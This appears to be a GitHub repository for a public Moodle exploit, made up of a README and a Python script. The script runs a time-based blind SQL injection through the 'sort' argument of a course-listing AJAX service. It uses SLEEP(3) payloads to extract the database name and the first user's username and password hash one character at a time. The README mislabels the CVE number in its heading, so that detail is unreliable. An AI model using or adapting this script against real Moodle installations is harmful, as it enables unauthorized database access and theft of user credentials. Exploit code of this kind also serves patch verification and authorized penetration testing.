├── requirements.txt ├── README.md └── exploit.py /requirements.txt: -------------------------------------------------------------------------------- 1 | 2 | requests 3 | termcolor 4 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | 2 | # CVE-2021-36396 Exploit 3 | 4 | ## Description 5 | This repository holds a Python-based exploit targeting CVE-2021-36393, a severe vulnerability found within Moodle's recent courses feature. The flaw resides in the 'sort' parameter, enabling SQL injection attacks that can lead to unauthorized database access. Rated 9.8 on the CVSS scale, exploiting this vulnerability requires minimal privileges, such as a student role, and significantly compromises data confidentiality and integrity. 6 | 7 | Affected Versions: 8 | - 3.11, 3.10 to 3.10.4, 3.9 to 3.9.7 and earlier unsupported versions 9 | 10 | ## Installation 11 | To use this exploit, you need to have Python installed on your system. Clone this repository and install the required dependencies: 12 | 13 | ```bash 14 | git clone https://github.com/T0X1Cx/CVE-2021-36393-Exploit.git 15 | cd CVE-2021-36393-Exploit 16 | pip install -r requirements.txt 17 | ``` 18 | 19 | ## Usage 20 | Run the exploit using the following command: 21 | 22 | ```bash 23 | python3 exploit.py 24 | ``` 25 | 26 | **Note on Injection Point and Request Data Modification:** 27 | The current implementation of this exploit is designed to extract the database name and the name and hash of the first user created in Moodle. Depending on your specific requirements or the target system, you may need to modify the injection point and the request data within the exploit code. This involves adapting the SQL injection payload and potentially altering the HTTP request format to match the target system's expectations. Careful analysis of the target system's behavior is required to tailor the exploit effectively. 28 | 29 | ## Disclaimer 30 | This exploit is provided for educational and ethical testing purposes only. The use of this exploit for attacking targets without prior mutual consent is illegal. The author is not responsible for any damage caused by using this exploit. 31 | 32 | ## Credits 33 | Exploit developed by Julio Ángel Ferrari (Aka. T0X1Cx) 34 | -------------------------------------------------------------------------------- /exploit.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import string 3 | from termcolor import colored 4 | 5 | # Request details 6 | URL = "http://127.0.0.1:8080/moodle/lib/ajax/service.php?sesskey=ZT0E6J0xWe&info=core_course_get_enrolled_courses_by_timeline_classification" 7 | HEADERS = { 8 | "Accept": "application/json, text/javascript, */*; q=0.01", 9 | "Content-Type": "application/json", 10 | "X-Requested-With": "XMLHttpRequest", 11 | "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.91 Safari/537.36", 12 | "Origin": "http://127.0.0.1:8080", 13 | "Referer": "http://127.0.0.1:8080/moodle/my/", 14 | "Accept-Encoding": "gzip, deflate", 15 | "Accept-Language": "en-US,en;q=0.9", 16 | "Cookie": "MoodleSession=5b1rk2pfdpbcq2i5hmmern1os0", 17 | "Connection": "close" 18 | } 19 | 20 | # Characters to test 21 | characters_to_test = string.ascii_lowercase + string.ascii_uppercase + string.digits + "!@#$^&*()-_=+[]{}|;:'\",.<>?/" 22 | 23 | def test_character(payload): 24 | response = requests.post(URL, headers=HEADERS, json=[payload]) 25 | return response.elapsed.total_seconds() >= 3 26 | 27 | def extract_value(column, label): 28 | base_payload = { 29 | "index": 0, 30 | "methodname": "core_course_get_enrolled_courses_by_timeline_classification", 31 | "args": { 32 | "offset": 0, 33 | "limit": 0, 34 | "classification": "all", 35 | "sort": "", 36 | "customfieldname": "", 37 | "customfieldvalue": "" 38 | } 39 | } 40 | 41 | result = "" 42 | for _ in range(50): # Assumes a maximum of 50 characters for the value 43 | character_found = False 44 | for character in characters_to_test: 45 | if column == "database()": 46 | base_payload["args"]["sort"] = f"fullname OR (database()) LIKE '{result + character}%' AND SLEEP(3)" 47 | else: 48 | base_payload["args"]["sort"] = f"fullname OR (SELECT {column} FROM mdl_user LIMIT 1 OFFSET 0) LIKE '{result + character}%' AND SLEEP(3)" 49 | 50 | if test_character(base_payload): 51 | result += character 52 | print(colored(f"{label}: {result}", 'red'), end="\r") 53 | character_found = True 54 | break 55 | 56 | if not character_found: 57 | break 58 | 59 | # Print the final result 60 | print(colored(f"{label}: {result}", 'red')) 61 | 62 | if __name__ == "__main__": 63 | extract_value("database()", "Database") 64 | extract_value("username", "Username") 65 | extract_value("password", "Password") 66 | --------------------------------------------------------------------------------